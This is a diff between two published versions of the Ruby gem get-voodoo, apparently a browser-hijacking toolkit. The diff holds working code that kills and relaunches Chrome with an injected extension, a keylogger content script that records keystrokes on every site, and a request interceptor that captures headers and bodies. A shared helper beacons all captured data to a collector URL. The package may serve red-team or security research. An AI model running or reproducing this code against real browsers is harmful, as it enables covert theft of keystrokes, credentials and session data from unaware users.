get-voodoo 0.0.3 → 0.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 6660d98be49e0f21207c73b5ba2f95598ba2b6cbf451ab77fd55409b9a43c270
4
- data.tar.gz: 433d6b93ecc44ddb91af4987761746c2684f255e71deab020793fc9786422283
3
+ metadata.gz: bf52ab53234e0fe391f2fe8231ebd422bdaa75d4ede9a3fcd2a92417865f0f44
4
+ data.tar.gz: 7b6c2e3ff3c2bf4ce4267c709afe5f51d190c185fedfa9777842aafb193ca560
5
5
  SHA512:
6
- metadata.gz: 1000d6e384255923c3ac738c62de52370b6ec495e866992ff3749abb44edea92652c41aa69ec7b3eb1c58c368b73af87f4c9e3a74d501ad4a7a225b4f464682d
7
- data.tar.gz: a935b3d7acee9c3102d7163112d83cf316e588761ab56c3b91a65dc2094d138e655b69625398e5b0691b4b1ff87e447e16ce17bb60de8683d908e32e02561bbc
6
+ metadata.gz: 9c690a0cc390cad10c6b34e31093a35a805c11d6e1f98b20a0b2c94168e9c1356c9255387af4527e1340d8cbedd502dabc4d9756c1b4230da408bd33c2615d4e
7
+ data.tar.gz: c13bdf316ab82d192c48871336dd59d00b49596cd6894aadb0b2c23b2744bf49faafcf8b9c5504523f9168efdef33f65f823402c5a48d52aa2740d9082688462
@@ -19,52 +19,52 @@ module VOODOO
19
19
  @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
20
20
  end
21
21
 
22
- def add_script(content: nil, file: nil, matches: '*://*/*')
23
- if content == nil && file != nil
24
- content = File.read file
25
- end
26
- if content == nil
27
- raise StandardError.new(':content or :file argument are required')
22
+ def keylogger(matches: '*://*/*')
23
+ add_script(matches: matches,
24
+ file: File.join(__dir__, 'js/keylogger.js')
25
+ ) do |event|
26
+ yield event
28
27
  end
29
- @extension.add_content_script([matches], js: [content])
30
- self
31
- end
32
-
33
- def keylogger(matches: '*://*/*', url_include: '')
34
- collector = Collector.new
35
- collector.on_json {|jsond| yield jsond }
36
-
37
- options = {
38
- collector_url: collector.url
39
- }
40
-
41
- @collector_threads.push(collector.thread)
42
-
43
- keylogger_js = build_js('keylogger.js', with_options: options)
44
- @extension.add_content_script(matches, js: [keylogger_js])
45
28
  end
46
29
 
47
30
  def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
48
- collector = make_collector() {|jsond| yield jsond }
49
31
  options = {
50
32
  matches: matches,
51
33
  url_include: url_include,
52
34
  body_include: body_include,
53
- header_exists: header_exists,
54
- collector_url: collector.url
35
+ header_exists: header_exists
55
36
  }
56
- background_js = build_js('intercept.js', with_options: options)
57
- @extension.add_background_script content: background_js
37
+
38
+ add_script(options: options,
39
+ background: true,
40
+ file: File.join(__dir__, 'js/intercept.js')
41
+ ) do |event|
42
+ yield event
43
+ end
44
+ end
45
+
46
+ def add_permissions(permissions)
47
+ permissions = [permissions] unless permissions.is_a? Array
48
+ @extension.manifest[:permissions] += permissions
58
49
  end
59
50
 
60
- def hijack(url = '')
51
+ def hijack(urls)
61
52
  # kill the browser process twise, to bypass close warning
62
53
  `pkill -a -i "#{@process_name}"`
63
54
  `pkill -a -i "#{@process_name}"`
64
55
  sleep 0.1
65
56
 
57
+ urls = [urls] unless urls.kind_of? Array
58
+
66
59
  profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
67
- `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{url}`
60
+ `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{urls.shift}`
61
+
62
+ if urls.length > 0
63
+ sleep 0.5
64
+ for url in urls
65
+ `open -b "#{@bundle}" -n -g -j --args #{url}`
66
+ end
67
+ end
68
68
 
69
69
  for thread in @collector_threads
70
70
  thread.join
@@ -91,6 +91,39 @@ module VOODOO
91
91
  self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
92
92
  end
93
93
 
94
+ def add_script(content: nil, file: nil, matches: nil, options: {}, background: false)
95
+ if matches != nil && background != false
96
+ puts 'WARNING: matches is ignored when background is set to true.'
97
+ end
98
+
99
+ if content == nil && file != nil
100
+ content = File.read file
101
+ end
102
+
103
+ if content == nil
104
+ raise StandardError.new(':content or :file argument are required')
105
+ end
106
+
107
+ if block_given?
108
+ collector = Collector.new
109
+ collector.on_json {|jsond| yield jsond }
110
+ @collector_threads.push(collector.thread)
111
+ options[:collector_url] = collector.url
112
+ end
113
+
114
+ content = build_js('voodoo.js', with_options: options) + "\n" + content
115
+
116
+ if background == true
117
+ return @extension.add_background_script(content: content)
118
+ else
119
+ if matches == nil
120
+ matches = '*://*/*'
121
+ end
122
+
123
+ return @extension.add_content_script(matches, js: [content])
124
+ end
125
+ end
126
+
94
127
  protected
95
128
 
96
129
  def make_collector
@@ -103,7 +136,7 @@ module VOODOO
103
136
  def build_js(file, with_options: nil)
104
137
  js = File.read(File.join(__dir__, 'js', file))
105
138
  if with_options != nil
106
- js = js.gsub('REBY_INJECTED_OPTIONS', JSON.generate(with_options))
139
+ js = js.gsub('$OPTIONS', JSON.generate(with_options))
107
140
  end
108
141
  return js
109
142
  end
data/lib/voodoo/cli.rb CHANGED
@@ -1,5 +1,6 @@
1
1
  require 'thor'
2
2
  require 'json'
3
+ require 'yaml'
3
4
  require 'voodoo/browser'
4
5
 
5
6
  module VOODOO
@@ -16,8 +17,8 @@ module VOODOO
16
17
  option :url_include, :type => :string, :aliases => :u, :default => nil
17
18
  option :body_include, :type => :string, :aliases => :b, :default => nil
18
19
  option :header_exists, :type => :string, :aliases => :h, :default => nil
19
- option :output, :type => :string, :aliases => :o, :default => 'stdout'
20
- option :site, :type => :string, :aliases => :s, :default => ''
20
+ option :output, :type => :string, :aliases => :o, :default => 'stdout',:desc => '<path>, stdout'
21
+ option :urls, :type => :array, :aliases => :x, :default => []
21
22
  option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
22
23
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
23
24
  desc 'intercept', 'intercept browser requests'
@@ -32,7 +33,9 @@ module VOODOO
32
33
 
33
34
  browser.intercept(matches: options[:matches],
34
35
  url_include: options[:url_include],
35
- body_include: options[:body_include]) do |req|
36
+ body_include: options[:body_include]) do |event|
37
+ req = event[:payload]
38
+
36
39
  if output != 'stdout'
37
40
  output.puts JSON.generate(req)
38
41
  output.close
@@ -49,25 +52,57 @@ module VOODOO
49
52
  end
50
53
  end
51
54
 
52
- browser.hijack options[:site]
55
+ browser.hijack url: options[:site]
53
56
  end
54
57
 
55
- option :site, :type => :string, :aliases => :s, :default => ''
58
+ option :urls, :type => :array, :aliases => :x, :default => []
59
+ option :output, :type => :string, :aliases => :o, :desc => '<path>, stdout', :default => nil
60
+ option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
56
61
  option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
57
62
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
63
+ option :permissions, :type => :array, :aliases => :p, :default => []
58
64
  desc 'script <js/path>', 'add a content script'
59
65
  def script(path_or_js)
60
66
  browser = get_browser options[:browser]
67
+ browser.add_permissions options[:permissions]
68
+
69
+ output = options[:output]
70
+
71
+ if output != nil && output != 'stdout'
72
+ output = open(output, 'a')
73
+ end
74
+
61
75
  if File.exists? path_or_js
62
- browser.add_script file: path_or_js
76
+ if output != nil
77
+ browser.add_script file: path_or_js, options: options[:js_vars] do |event|
78
+ if output != 'stdout'
79
+ output.puts JSON.generate(event)
80
+ else
81
+ puts "#{event[:origin]}: #{event[:payload]}"
82
+ end
83
+ end
84
+ else
85
+ browser.add_script file: path_or_js, options: options[:js_vars]
86
+ end
63
87
  else
64
- browser.add_script content: path_or_js
88
+ if output != nil
89
+ browser.add_script content: path_or_js, options: options[:js_vars] do |event|
90
+ if output != 'stdout'
91
+ output.puts JSON.generate(event)
92
+ else
93
+ puts "[+] #{event[:origin]} => #{event[:payload]}"
94
+ end
95
+ end
96
+ else
97
+ browser.add_script content: path_or_js, options: options[:js_vars]
98
+ end
65
99
  end
66
- browser.hijack options[:site]
100
+
101
+ browser.hijack url: options[:site]
67
102
  end
68
103
 
69
- option :site, :type => :string, :aliases => :s, :default => ''
70
- option :output, :type => :string, :aliases => :o, :default => 'stdout'
104
+ option :urls, :type => :array, :aliases => :x, :default => []
105
+ option :output, :type => :string, :aliases => :o, :default => 'stdout', :desc => '<path>, stdout'
71
106
  option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
72
107
  option :browser, :type => :string, :aliases => :b, :default => 'chrome'
73
108
  desc 'keylogger', 'records user keystrokes'
@@ -83,11 +118,78 @@ module VOODOO
83
118
  if output != 'stdout'
84
119
  output.puts JSON.generate(event)
85
120
  else
86
- print event[:log]
121
+ print event[:payload][:log]
122
+ end
123
+ end
124
+
125
+ browser.hijack url: options[:site]
126
+ end
127
+
128
+ option :browser, :type => :string, :aliases => :b, :default => nil
129
+ option :output, :type => :string, :aliases => :o, :default => 'none', :desc => 'none, <path>, stdout, stdout:payload'
130
+ option :urls, :type => :array, :aliases => :x, :default => []
131
+ option :js_vars, :type => :hash,:aliases => :j, :desc => 'localizes JavaScript variable', :default => {}
132
+ desc 'template <path>', 'execute a VOODOO template'
133
+ def template(path)
134
+ pwd = Dir.pwd
135
+ output = options[:output]
136
+
137
+ if File.directory? path
138
+ pwd = File.expand_path File.join(pwd, path)
139
+ template = YAML.load_file(File.join(path, 'voodoo.ymal'))
140
+ else
141
+ pwd = File.expand_path File.join(pwd, File.dirname(path))
142
+ template = YAML.load_file(path)
143
+ end
144
+
145
+ template = YAML.load_file(path)
146
+
147
+ if output == 'none' && template['output']
148
+ output = template['output']
149
+ end
150
+
151
+ browser_inst = template['browser'] || {}
152
+
153
+ browser = get_browser(options[:browser] || browser_inst['name'] || 'chrome')
154
+
155
+ if template['permissions']
156
+ browser.add_permissions template['permissions']
157
+ end
158
+
159
+ if !['stdout', 'stdout:payload', 'none'].include? output
160
+ output = open(output, 'a')
161
+ end
162
+
163
+ template['scripts'].each do |script|
164
+ file = File.expand_path(File.join(pwd, script['file'])) if script['file']
165
+ content = script['content']
166
+ matches = script['matches']
167
+ js_vars = options[:js_vars]
168
+ background = script['background'] || false
169
+
170
+ if output != 'none'
171
+ browser.add_script(matches: matches, file: file, content: content, options: js_vars, background: background) do |event|
172
+ case output
173
+ when 'stdout'
174
+ puts JSON.generate(event)
175
+ when 'stdout:payload'
176
+ puts JSON.generate(event[:payload])
177
+ else
178
+ output.puts JSON.generate(event)
179
+ end
180
+ end
181
+ else
182
+ browser.add_script(matches: matches,content: content, options: js_vars, background: background)
87
183
  end
88
184
  end
89
185
 
90
- browser.hijack options[:site]
186
+ urls = options[:urls]
187
+
188
+ if urls.length == 0 && browser_inst['urls']
189
+ urls = browser_inst['urls']
190
+ end
191
+
192
+ browser.hijack urls.uniq
91
193
  end
92
194
 
93
195
  def self.exit_on_failure?
@@ -51,6 +51,7 @@ module VOODOO
51
51
  end
52
52
 
53
53
  def save
54
+ @manifest[:permissions] = @manifest[:permissions].uniq
54
55
  manifest_path = File.join(@folder, 'manifest.json')
55
56
  File.write(manifest_path, JSON.generate(@manifest))
56
57
  return @folder
@@ -1,4 +1,7 @@
1
- chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
1
+ /**
2
+ * VOODOO collector
3
+ */
4
+ chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
2
5
  navigator.sendBeacon(request.collector_url, request.body);
3
6
  sendResponse(1)
4
7
  });
@@ -2,24 +2,26 @@
2
2
  * VOODOO Intercept
3
3
  */
4
4
  (function () {
5
- let options = REBY_INJECTED_OPTIONS;
5
+ let options = VOODOO.options || {};
6
6
  let matches = options.matches || ["<all_urls>"];
7
7
 
8
- if (!Array.isArray(matches)) {
9
- matches = [matches];
8
+ if (options.header_exists) {
9
+ options.header_exists = options.header_exists.toLowerCase();
10
10
  }
11
11
 
12
- if (!options.collector_url) {
13
- return;
12
+ if (!Array.isArray(matches)) {
13
+ matches = [matches];
14
14
  }
15
15
 
16
16
  const requests = new Map();
17
17
 
18
18
  chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
19
19
  const request = requests.get(e.requestId);
20
+
20
21
  if (!request) {
21
22
  return;
22
23
  }
24
+
23
25
  requests.delete(e.requestId);
24
26
  request.headers = e.requestHeaders;
25
27
 
@@ -36,7 +38,7 @@
36
38
  }
37
39
  }
38
40
 
39
- navigator.sendBeacon(options.collector_url, JSON.stringify(request))
41
+ VOODOO.send(request);
40
42
  }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
41
43
 
42
44
  chrome.webRequest.onBeforeRequest.addListener(
@@ -60,5 +62,4 @@
60
62
  { urls: matches },
61
63
  ['requestBody']
62
64
  );
63
-
64
65
  })();
@@ -2,13 +2,6 @@
2
2
  * VOODOO Keylogger
3
3
  */
4
4
  (function () {
5
- sessionStorage.setItem("uuid", Math.random().toString(16).substring(2));
6
- const options = REBY_INJECTED_OPTIONS;
7
-
8
- if (!options.collector_url) {
9
- return;
10
- }
11
-
12
5
  let output = "";
13
6
  let lastElement = null;
14
7
 
@@ -27,29 +20,17 @@
27
20
  return id;
28
21
  }
29
22
 
30
- function send_to_collector() {
31
- chrome.runtime.sendMessage({
32
- collector_url: options.collector_url,
33
- body: JSON.stringify({ time: new Date().getTime(), origin: window.location.origin, uuid: sessionStorage.uuid, log: output })
34
- }, function (response) {
35
- //console.log(response);
36
- });
37
- output = "";
38
- }
39
-
40
- setInterval(function () {
41
- if (output.length !== 0) {
42
- send_to_collector();
43
- }
44
- }, 5000);
45
-
46
- window.addEventListener("beforeunload", function (e) {
23
+ function sendAndDelete() {
47
24
  if (output.length === 0) {
48
25
  return;
49
26
  }
50
- send_to_collector();
51
- }, false);
27
+ VOODOO.send({ log: output });
28
+ output = "";
29
+ }
30
+
31
+ setInterval(sendAndDelete, 5000);
52
32
 
33
+ window.addEventListener("beforeunload", sendAndDelete, false);
53
34
  window.addEventListener("blur", function () {
54
35
  output += "\n[TAB LOST FOCUS]\n";
55
36
  });
@@ -61,15 +42,15 @@
61
42
  window.addEventListener("keydown", function (event) {
62
43
  if (lastElement !== event.path[0]) {
63
44
  lastElement = event.path[0];
64
- output += `\n==> ${describe(event.path[0])}\n`
45
+ output += `\n[ELEMENT => ${describe(event.path[0])}]\n`
65
46
  }
66
47
  if (event.key.length > 1) {
67
- output += `[[${event.key}]]`;
48
+ output += `[${event.key}]`;
68
49
  } else {
69
50
  output += event.key;
70
51
  }
71
52
  });
72
53
 
73
54
  output = `\n====== ${window.location.href} (${document.title}) ======\n`;
74
- send_to_collector();
55
+ sendAndDelete();
75
56
  })();
@@ -0,0 +1,29 @@
1
+ if (!sessionStorage.tab_uuid) {
2
+ sessionStorage.setItem("tab_uuid", Math.random().toString(16).substring(2));
3
+ }
4
+
5
+ const VOODOO = {
6
+ options: $OPTIONS || {},
7
+ send(payload) {
8
+ if (!VOODOO.options.collector_url) {
9
+ return;
10
+ }
11
+
12
+ const body = JSON.stringify({
13
+ time: new Date().getTime(),
14
+ tab_uuid: sessionStorage.tab_uuid,
15
+ origin: window.location.origin,
16
+ payload
17
+ });
18
+
19
+ if (window.location.href.indexOf("_generated_background_page.html") !== -1) {
20
+ return navigator.sendBeacon(VOODOO.options.collector_url, body);
21
+ }
22
+
23
+ chrome.runtime.sendMessage({
24
+ collector_url: VOODOO.options.collector_url, body
25
+ });
26
+ }
27
+ };
28
+
29
+ const V = VOODOO;
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: get-voodoo
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.0.3
4
+ version: 0.0.4
5
5
  platform: ruby
6
6
  authors:
7
7
  - Ron Masas
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2022-03-10 00:00:00.000000000 Z
11
+ date: 2022-03-11 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: thor
@@ -82,6 +82,7 @@ files:
82
82
  - lib/voodoo/js/collector.js
83
83
  - lib/voodoo/js/intercept.js
84
84
  - lib/voodoo/js/keylogger.js
85
+ - lib/voodoo/js/voodoo.js
85
86
  homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
86
87
  licenses:
87
88
  - GPL-2.0